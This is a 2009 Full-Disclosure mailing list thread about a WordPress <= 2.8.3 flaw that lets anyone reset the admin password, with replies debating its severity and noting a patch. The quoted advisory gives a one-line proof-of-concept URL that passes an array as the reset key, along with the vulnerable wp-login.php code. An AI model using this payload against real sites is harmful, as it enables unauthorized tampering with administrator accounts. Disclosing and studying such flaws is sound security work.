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Re: [Full-disclosure] WordPress <= 2.8.3 Remote admin reset password

Bug is confirmed...

WP team already issued and a patch
http://core.trac.wordpress.org/changeset/11798

Nice find.

Regards

2009/8/11 laurent gaffie <laurent.gaffie@xxxxxxxxx>:
> Mr Fabio,
>
> You dont even understand the bug, so please shut the hell up.
>
>
>
>
>
>
> 2009/8/11 Fabio N Sarmento [ Gmail ] <fabior2@xxxxxxxxx>
>>
>> if this is an bug, please close Twitter.com, MSN.com and other services,
>> because they have the same stupid "Reset password" service.
>>
>> So please make my day, and create a stupid script to flood with mutiple
>> request to reset password.
>>
>> LOL
>>
>> 2009/8/10 Jeremy Brown <0xjbrown41@xxxxxxxxx>
>>>
>>> I'm guessing your not a Wordpress administrator, Fabio. Nice find
>>> Laurent, as usual.
>>>
>>> On Mon, Aug 10, 2009 at 10:48 PM, laurent
>>> gaffie<laurent.gaffie@xxxxxxxxx> wrote:
>>> > Oh ok.
>>> > Then, let's avoid that function.
>>> > If it's useless to have a function who validate a reset passwd before
>>> > resetting it, let's just avoid it smartass.
>>> >
>>> >
>>> > 2009/8/10 Fabio N Sarmento [ Gmail ] <fabior2@xxxxxxxxx>
>>> >>
>>> >> There is no risk on this.
>>> >> It's just a little flaw, it doesn't broke anything or put your admin
>>> >> access in risk.
>>> >>
>>> >> :-P to me , this vulnerability is more "BUZZ" then real deal. LOL
>>> >>
>>> >> 2009/8/10 laurent gaffie <laurent.gaffie@xxxxxxxxx>
>>> >>>
>>> >>> Hi there,
>>> >>>
>>> >>> This wasn't tested on the 2.7* branch.
>>> >>> It as been tested on the  2.8.* branch, with php 5.3.0 & php 5.2.9 as
>>> >>> an
>>> >>> Apache 2.2.12 module, on a linux env.
>>> >>>
>>> >>>
>>> >>> Regards Laurent Gaffié
>>> >>>
>>> >>>
>>> >>>
>>> >>> 2009/8/10 Nicolas Valcárcel Scerpella
>>> >>> <nicolas.valcarcel@xxxxxxxxxxxxx>
>>> >>>>
>>> >>>> I don't see the issue with wp 2.7.1
>>> >>>>
>>> >>>> On Mon, 10 Aug 2009, laurent gaffie wrote:
>>> >>>>
>>> >>>> > Errata:
>>> >>>> >
>>> >>>> > "V. BUSINESS IMPACT
>>> >>>> > -------------------------
>>> >>>> > An attacker could exploit this vulnerability to compromise the
>>> >>>> > admin
>>> >>>> > account
>>> >>>> > of any wordpress/wordpress-mu <= 2.8.3"
>>> >>>> >
>>> >>>> > -->
>>> >>>> >
>>> >>>> > "V. BUSINESS IMPACT
>>> >>>> > -------------------------
>>> >>>> > An attacker could exploit this vulnerability to reset the admin
>>> >>>> > account of
>>> >>>> > any wordpress/wordpress-mu <= 2.8.3"
>>> >>>> >
>>> >>>> >
>>> >>>> > Regards Laurent Gaffié
>>> >>>> >
>>> >>>> >
>>> >>>> > 2009/8/10 laurent gaffie <laurent.gaffie@xxxxxxxxx>
>>> >>>> >
>>> >>>> > > =============================================
>>> >>>> > > - Release date: August 10th, 2009
>>> >>>> > > - Discovered by: Laurent Gaffié
>>> >>>> > > - Severity: Medium
>>> >>>> > > =============================================
>>> >>>> > >
>>> >>>> > > I. VULNERABILITY
>>> >>>> > > -------------------------
>>> >>>> > > WordPress <= 2.8.3 Remote admin reset password
>>> >>>> > >
>>> >>>> > > II. BACKGROUND
>>> >>>> > > -------------------------
>>> >>>> > > WordPress is a state-of-the-art publishing platform with a focus
>>> >>>> > > on
>>> >>>> > > aesthetics, web standards, and usability.
>>> >>>> > > WordPress is both free and priceless at the same time.
>>> >>>> > > More simply, WordPress is what you use when you want to work
>>> >>>> > > with
>>> >>>> > > your
>>> >>>> > > blogging software, not fight it.
>>> >>>> > >
>>> >>>> > > III. DESCRIPTION
>>> >>>> > > -------------------------
>>> >>>> > > The way Wordpress handle a password reset looks like this:
>>> >>>> > > You submit your email adress or username via this form
>>> >>>> > > /wp-login.php?action=lostpassword ;
>>> >>>> > > Wordpress send you a reset confirmation like that via email:
>>> >>>> > >
>>> >>>> > > "
>>> >>>> > > Someone has asked to reset the password for the following site
>>> >>>> > > and
>>> >>>> > > username.
>>> >>>> > > http://DOMAIN_NAME.TLD/wordpress
>>> >>>> > > Username: admin
>>> >>>> > > To reset your password visit the following address, otherwise
>>> >>>> > > just
>>> >>>> > > ignore
>>> >>>> > > this email and nothing will happen
>>> >>>> > >
>>> >>>> > >
>>> >>>> > >
>>> >>>> > >
>>> >>>> > > http://DOMAIN_NAME.TLD/wordpress/wp-login.php?action=rp&key=o7naCKN3OoeU2KJMMsag
>>> >>>> > > "
>>> >>>> > >
>>> >>>> > > You click on the link, and then Wordpress reset your admin
>>> >>>> > > password,
>>> >>>> > > and
>>> >>>> > > sends you over another email with your new credentials.
>>> >>>> > >
>>> >>>> > > Let's see how it works:
>>> >>>> > >
>>> >>>> > >
>>> >>>> > > wp-login.php:
>>> >>>> > > ...[snip]....
>>> >>>> > > line 186:
>>> >>>> > > function reset_password($key) {
>>> >>>> > >     global $wpdb;
>>> >>>> > >
>>> >>>> > >     $key = preg_replace('/[^a-z0-9]/i', '', $key);
>>> >>>> > >
>>> >>>> > >     if ( empty( $key ) )
>>> >>>> > >         return new WP_Error('invalid_key', __('Invalid key'));
>>> >>>> > >
>>> >>>> > >     $user = $wpdb->get_row($wpdb->prepare("SELECT * FROM
>>> >>>> > > $wpdb->users WHERE
>>> >>>> > > user_activation_key = %s", $key));
>>> >>>> > >     if ( empty( $user ) )
>>> >>>> > >         return new WP_Error('invalid_key', __('Invalid key'));
>>> >>>> > > ...[snip]....
>>> >>>> > > line 276:
>>> >>>> > > $action = isset($_REQUEST['action']) ? $_REQUEST['action'] :
>>> >>>> > > 'login';
>>> >>>> > > $errors = new WP_Error();
>>> >>>> > >
>>> >>>> > > if ( isset($_GET['key']) )
>>> >>>> > >     $action = 'resetpass';
>>> >>>> > >
>>> >>>> > > // validate action so as to default to the login screen
>>> >>>> > > if ( !in_array($action, array('logout', 'lostpassword',
>>> >>>> > > 'retrievepassword',
>>> >>>> > > 'resetpass', 'rp', 'register', 'login')) && false ===
>>> >>>> > > has_filter('login_form_' . $action) )
>>> >>>> > >     $action = 'login';
>>> >>>> > > ...[snip]....
>>> >>>> > >
>>> >>>> > > line 370:
>>> >>>> > >
>>> >>>> > > break;
>>> >>>> > >
>>> >>>> > > case 'resetpass' :
>>> >>>> > > case 'rp' :
>>> >>>> > >     $errors = reset_password($_GET['key']);
>>> >>>> > >
>>> >>>> > >     if ( ! is_wp_error($errors) ) {
>>> >>>> > >         wp_redirect('wp-login.php?checkemail=newpass');
>>> >>>> > >         exit();
>>> >>>> > >     }
>>> >>>> > >
>>> >>>> > >
>>> >>>> > >
>>> >>>> > > wp_redirect('wp-login.php?action=lostpassword&error=invalidkey');
>>> >>>> > >     exit();
>>> >>>> > >
>>> >>>> > > break;
>>> >>>> > > ...[snip ]...
>>> >>>> > >
>>> >>>> > > You can abuse the password reset function, and bypass the first
>>> >>>> > > step
>>> >>>> > > and
>>> >>>> > > then reset the admin password by submiting an array to the $key
>>> >>>> > > variable.
>>> >>>> > >
>>> >>>> > >
>>> >>>> > > IV. PROOF OF CONCEPT
>>> >>>> > > -------------------------
>>> >>>> > > A web browser is sufficiant to reproduce this Proof of concept:
>>> >>>> > >
>>> >>>> > >
>>> >>>> > > http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key[]=<http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key%5B%5D=>
>>> >>>> > > The password will be reset without any confirmation.
>>> >>>> > >
>>> >>>> > > V. BUSINESS IMPACT
>>> >>>> > > -------------------------
>>> >>>> > > An attacker could exploit this vulnerability to compromise the
>>> >>>> > > admin
>>> >>>> > > account of any wordpress/wordpress-mu <= 2.8.3
>>> >>>> > >
>>> >>>> > > VI. SYSTEMS AFFECTED
>>> >>>> > > -------------------------
>>> >>>> > > All
>>> >>>> > >
>>> >>>> > > VII. SOLUTION
>>> >>>> > > -------------------------
>>> >>>> > > No patch aviable for the moment.
>>> >>>> > >
>>> >>>> > > VIII. REFERENCES
>>> >>>> > > -------------------------
>>> >>>> > > http://www.wordpress.org
>>> >>>> > >
>>> >>>> > > IX. CREDITS
>>> >>>> > > -------------------------
>>> >>>> > > This vulnerability has been discovered by Laurent Gaffié
>>> >>>> > > Laurent.gaffie{remove-this}(at)gmail.com
>>> >>>> > > I'd like to shoot some greetz to securityreason.com for them
>>> >>>> > > great
>>> >>>> > > research on PHP, as for this under-estimated vulnerability
>>> >>>> > > discovered by
>>> >>>> > > Maksymilian Arciemowicz :
>>> >>>> > > http://securityreason.com/achievement_securityalert/38
>>> >>>> > >
>>> >>>> > > X. REVISION HISTORY
>>> >>>> > > -------------------------
>>> >>>> > > August 10th, 2009: Initial release
>>> >>>> > >
>>> >>>> > > XI. LEGAL NOTICES
>>> >>>> > > -------------------------
>>> >>>> > > The information contained within this advisory is supplied
>>> >>>> > > "as-is"
>>> >>>> > > with no warranties or guarantees of fitness of use or otherwise.
>>> >>>> > > I accept no responsibility for any damage caused by the use or
>>> >>>> > > misuse of this information.
>>> >>>> > >
>>> >>>>
>>> >>>> > _______________________________________________
>>> >>>> > Full-Disclosure - We believe in it.
>>> >>>> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>>> >>>> > Hosted and sponsored by Secunia - http://secunia.com/
>>> >>>>
>>> >>>> --
>>> >>>> Nicolas Valcárcel
>>> >>>> Security Engineer
>>> >>>> Custom Engineering Solutions Group
>>> >>>> Canonical OEM Services
>>> >>>> Mobile: +511 994 293 200
>>> >>>> Key fingerprint = 5C4D 0C85 D9C0 98FE 11F9  DD12 524E C3CD EF58 4970
>>> >>>> gpg --keyserver keyserver.ubuntu.com --recv-keys 654597FE
>>> >>>>
>>> >>>> -----BEGIN PGP SIGNATURE-----
>>> >>>> Version: GnuPG v1.4.9 (GNU/Linux)
>>> >>>>
>>> >>>> iQEcBAEBCAAGBQJKgNe5AAoJEFJOw83vWElwLj4H/3dk7RW9WJoUpzI6E5QKdXsF
>>> >>>> 7uNeGL8Yho9RZuPEK93IecImLa25Jy7KhzL+P4FfCCyYXVG8hxaUlUQss77PhsjK
>>> >>>> VG/YkDChiNJi2tj7jixcdpVy7MLiDxMiHBGNSzI2piBiZb3/toSBvZslSW2yqgIk
>>> >>>> OkqbJ7AE5yTu4sulhO29DRYzFUjvZHGKR2akRu/3RlOUHhwVDJw0m2ZO4M3MHz4+
>>> >>>> 1x/w7HhzmbMo/kioxJpPsU7f+axVnRMia9dZmvakfhmNdht98qAE/a7UlpT+ft1w
>>> >>>> Vua7DRYwOn4o5UYXhBmUL/uCUt3CLeT9Jgu0/bWZ3G3gR1Rw1edS7E5Q7A9wlEY=
>>> >>>> =UdOl
>>> >>>> -----END PGP SIGNATURE-----
>>> >>>>
>>> >>>
>>> >>>
>>> >>> _______________________________________________
>>> >>> Full-Disclosure - We believe in it.
>>> >>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>>> >>> Hosted and sponsored by Secunia - http://secunia.com/
>>> >>
>>> >>
>>> >>
>>> >> --
>>> >>
>>> >> If you have questions please let me know.
>>> >> Best regards,
>>> >> - Fábio - IT Manager
>>> >
>>> >
>>> >
>>> > _______________________________________________
>>> > Full-Disclosure - We believe in it.
>>> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>>> > Hosted and sponsored by Secunia - http://secunia.com/
>>> >
>>>
>>> _______________________________________________
>>> Full-Disclosure - We believe in it.
>>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>>> Hosted and sponsored by Secunia - http://secunia.com/
>>
>>
>>
>> --
>>
>> If you have questions please let me know.
>> Best regards,
>> - Fábio - IT Manager
>
>
>
> --
> follow me @twitter ! : http://twitter.com/laurentgaffie
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>



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Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/